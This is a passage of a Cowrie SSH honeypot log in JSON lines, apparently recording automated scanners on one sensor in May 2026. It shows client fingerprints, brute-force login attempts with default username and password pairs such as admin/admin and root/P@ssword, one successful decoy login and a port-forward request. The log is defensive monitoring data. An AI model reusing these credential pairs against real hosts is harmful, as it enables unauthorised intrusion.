.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.344107Z","src_ip":"83.168.110.85","session":"3c177e6ecb5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43588,"dst_ip":"10.17.0.5","dst_port":22,"session":"41b8ead4013d","protocol":"ssh","message":"New connection: 87.251.64.176:43588 (10.17.0.5:22) [session: 41b8ead4013d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.395917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.401445Z","src_ip":"87.251.64.176","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.555111Z","src_ip":"87.251.64.176","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:14.709518Z","src_ip":"83.168.110.85","session":"3c177e6ecb5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.047991Z","src_ip":"87.251.64.176","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.215141Z","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.372391Z","src_ip":"87.251.64.176","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.538140Z","src_ip":"87.251.64.176","session":"41b8ead4013d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.554389Z","src_ip":"152.32.171.99","session":"4cb7c75202d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:15.847206Z","src_ip":"83.168.110.85","session":"3c177e6ecb5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37556,"dst_ip":"159.203.135.109","dst_port":22,"session":"155c5e549ee4","protocol":"ssh","message":"New connection: 83.168.110.85:37556 (159.203.135.109:22) [session: 155c5e549ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.272364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.276889Z","src_ip":"83.168.110.85","session":"155c5e549ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.398656Z","src_ip":"83.168.110.85","session":"155c5e549ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.760373Z","src_ip":"83.168.110.85","session":"155c5e549ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":34706,"dst_ip":"159.203.135.109","dst_port":22,"session":"655f146d6112","protocol":"ssh","message":"New connection: 160.251.185.39:34706 (159.203.135.109:22) [session: 655f146d6112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.765633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.774716Z","src_ip":"160.251.185.39","session":"655f146d6112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:24.965366Z","src_ip":"160.251.185.39","session":"655f146d6112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:25.755955Z","src_ip":"160.251.185.39","session":"655f146d6112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:25.950371Z","src_ip":"83.168.110.85","session":"155c5e549ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:26.948668Z","src_ip":"160.251.185.39","session":"655f146d6112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":50346,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a6ce03931a","protocol":"ssh","message":"New connection: 103.118.29.129:50346 (159.203.135.109:22) [session: 45a6ce03931a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:31.202426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:31.206978Z","src_ip":"103.118.29.129","session":"45a6ce03931a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:31.446547Z","src_ip":"103.118.29.129","session":"45a6ce03931a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:32.420417Z","src_ip":"103.118.29.129","session":"45a6ce03931a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:33.657867Z","src_ip":"103.118.29.129","session":"45a6ce03931a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46772,"dst_ip":"159.203.135.109","dst_port":22,"session":"238722ad6612","protocol":"ssh","message":"New connection: 83.168.110.85:46772 (159.203.135.109:22) [session: 238722ad6612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:34.615080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:34.619681Z","src_ip":"83.168.110.85","session":"238722ad6612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:34.740506Z","src_ip":"83.168.110.85","session":"238722ad6612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:35.107159Z","src_ip":"83.168.110.85","session":"238722ad6612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:36.244714Z","src_ip":"83.168.110.85","session":"238722ad6612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38682,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1d9f37becda","protocol":"ssh","message":"New connection: 83.168.110.85:38682 (159.203.135.109:22) [session: c1d9f37becda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:44.944220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:44.948906Z","src_ip":"83.168.110.85","session":"c1d9f37becda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.24.130","src_port":54590,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c68d95a1c38","protocol":"ssh","message":"New connection: 160.238.24.130:54590 (10.17.0.5:22) [session: 0c68d95a1c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:44.961456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:44.965845Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.070524Z","src_ip":"83.168.110.85","session":"c1d9f37becda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.099016Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.435482Z","src_ip":"83.168.110.85","session":"c1d9f37becda","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:3d:e6:65:b7:77:8d:de:71:63:cd:a1:86:76:4e:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuyzBF5FCJYNtuyQxzR1kSITX/YGIHJrcDQkSYWvBo78puriuyXeUo/lh7sMgnAEas4gf+Bwr1MxWUUIQkgNZkbiC7Lb6AQv5Jg3/a4THFbTG+WZWjWx3TpnVOaKkddYh6fS+wA5icxIwbsmQt0vpiY8ZYeOR4fK8h4WrzCClhQkLhnp6H/FocPlBe4WNComMQqVURbuM1PVCkiGwhQDIQoVqSeIEkHa8wL4DrcBPTkWur00cMRA1QO1tkmQLhCwP5gYP1DpA8rqup8dtd2G5kGED5xeJQSZaBVWi+NgomKSJBTXAU8HyhXbGBd5wlFSMoKD/2V+huYiY64BRk4RYd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:3d:e6:65:b7:77:8d:de:71:63:cd:a1:86:76:4e:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.723145Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:3d:e6:65:b7:77:8d:de:71:63:cd:a1:86:76:4e:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuyzBF5FCJYNtuyQxzR1kSITX/YGIHJrcDQkSYWvBo78puriuyXeUo/lh7sMgnAEas4gf+Bwr1MxWUUIQkgNZkbiC7Lb6AQv5Jg3/a4THFbTG+WZWjWx3TpnVOaKkddYh6fS+wA5icxIwbsmQt0vpiY8ZYeOR4fK8h4WrzCClhQkLhnp6H/FocPlBe4WNComMQqVURbuM1PVCkiGwhQDIQoVqSeIEkHa8wL4DrcBPTkWur00cMRA1QO1tkmQLhCwP5gYP1DpA8rqup8dtd2G5kGED5xeJQSZaBVWi+NgomKSJBTXAU8HyhXbGBd5wlFSMoKD/2V+huYiY64BRk4RYd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:44:45.727234Z","src_ip":"160.238.24.130","session":"0c68d95a1c38","protocol":"ssh"}
